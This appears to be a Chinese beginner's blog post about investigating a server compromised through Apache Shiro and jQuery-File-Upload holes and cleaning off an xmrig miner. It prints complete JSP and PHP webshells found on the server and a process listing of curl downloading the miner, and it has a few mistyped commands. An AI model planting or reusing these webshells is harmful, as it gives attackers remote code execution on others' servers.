前言
本次博客仅供小白学习记录
上月某一天客户反应系统登录不上
一 top命令查看cpu使用情况
1.1用top命令看cpu 内存占用,果不其然发现了一个异常的xmrig cpu占用74.9%,
难怪系统登录不上
这时不要急着杀死进程,要根据pid找到相关的进程信息
cd /proc/pid 再查看这个文件夹下的内容
1.2或者 #查看cpu空闲情况
free -g
1.3#查看硬盘资源占用情况 找到占用量大的异常资源
def -h
1.4找到之后把相关病毒进程和 病毒文件全部删除
二.查看业务服务日志
1. 查看tomcat,nginx等服务日志,查看是否有异常记录
从异常记录中排查是否有攻击记录
2021-02-06 02:34:09,886 [http-bio-8000-exec-18] WARN [org.apache.shiro.mgt.DefaultSecurityManager] - Delegate RememberMeManager instance of type [org.apache.shiro.web.mgt.CookieRememberMeManager] threw an exception during getRememberedPrincipals().
org.apache.shiro.io.SerializationException: Unable to deserialze argument byte array.
at org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:82)
at org.apache.shiro.mgt.AbstractRememberMeManager.deserialize(AbstractRememberMeManager.java:514)
、Apache Shiro 使用公开 AES 秘钥加密传输 使用默认 AES 秘钥的服务器容易遭受反序列化攻击,攻击者能在服务端执行任意代码。 Apache Shiro 在 1.2.4 之前版本中使用 AES 硬编码秘 钥,存在严重的反序列化漏洞,攻击者可以在远程主机上执行任意指令 ,建议 检查 Shiro 版本信息,若 <=1.2.4请升级至 1.2.5 及以上版本 。
参考:https://blog.csdn.net/zhaofuqiangmycomm/article/details/113710254
2.通过日志还发现有广东ip登录系统的,这为非法ip登录,病毒肯定获取到了你系统的账号密码,
通知系统使用人员把账号密码全部改掉
3.通过日志还发现有上传病毒脚本的代码,
通过jquer-file-upload 上传,我代码中已禁止上传php ,jsp这样文件的 代码,但它却不知道怎么上传了,赶紧删掉
应该是jQuery-File-Upload的漏洞,版本低的小伙伴赶快升级
jQuery-File-Upload,参考https://blog.csdn.net/niexinming/article/details/86268694
jsp的代码
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
php的
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}
?>
上面代码仅供参考学习
三. 查看定时任务是否被篡改
crontab -e
果然有病毒的定时启动任务。全部干掉
然后再查看crontab日志记录是否有篡改记录,是哪个用户啥时间篡改的
[root@crm2 home]# tail -f /var/log/cron
四.用history命令查看root用户的操作记录
不带时间直接 history
果然有198.46.202.146记录
带时间看
修改bashrc环境变量
vim ~/.bashrc 或者 ~/.bash_profile
export HISTTIMEFORMAT="%F %T "
source ~/.bashrc
重新打开shell执行history命令
history 500|grep get_charge_by_month
五.查看当前所有l查看TCP连接信息
1.netstat -atunlp 这个命令能直接到相关链接程序的信息
netstat -atunlp |grep 198.46.202.146
还有个bash脚本的链接
2.查看wget下载连接 ps -ef|egrep wget
ps -ef|egrep wget "wget"
root 160645 160331 0 03:08 ? 00:00:00 curl -L --progress-bar http://download.c3pool.com/xmrig_setup/raw/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
root 160647 160333 0 03:08 ? 00:00:00 curl -L --progress-bar http://download.c3pool.com/xmrig_setup/raw/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
root 160655 160583 0 03:08 ? 00:00:00 curl -L --progress-bar http://download.c3pool.com/xmrig_setup/raw/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
root 181052 172149 0 18:03 pts/1 00:00:00 egrep curl|wget
3.ps -ef|egrep curl 查看curl链接
4.ps -ef|egrep bash 查看bash 连接
关闭这样异常的链接,这样的连接往往导致cpu异常飙升而 top命令却看不到cpu的使用情况
关闭之后cpu恢复正常
我的 curl版本 7.19.7
bash版本 4.1.2
bash升级 4.4 https://blog.csdn.net/zhaofuqiangmycomm/article/details/113585017
小等于这个版本的小伙伴要小心了
至此病毒的攻击手段和病毒文件都找到了,然后升级bash 和curl
其它漏洞参考
linux阿里云centos6.5漏洞修复命令,48个紧急严重漏洞一一修复
写到最后
病毒说: 哈哈 真的全部找到了吗
你:应该吧
所以真遇到病毒为了保险期间还是要重装系统加 防火墙加白名单,装杀毒软件等手段的
前提是你要找到病毒的位置和他攻击的手段,不然还可能会被攻入的
防火墙加白名单:https://blog.csdn.net/zhaofuqiangmycomm/article/details/113779658
心得:1.病毒在你系统要总会有服务,链接,定时之类,肯定能找到的,不然它就是死的,对你再也没威胁了
2.找到病毒的位置和攻击的手段后要重装系统,因为你病毒一旦攻入,你很难清楚它在你系统中到底留了多少后门,病毒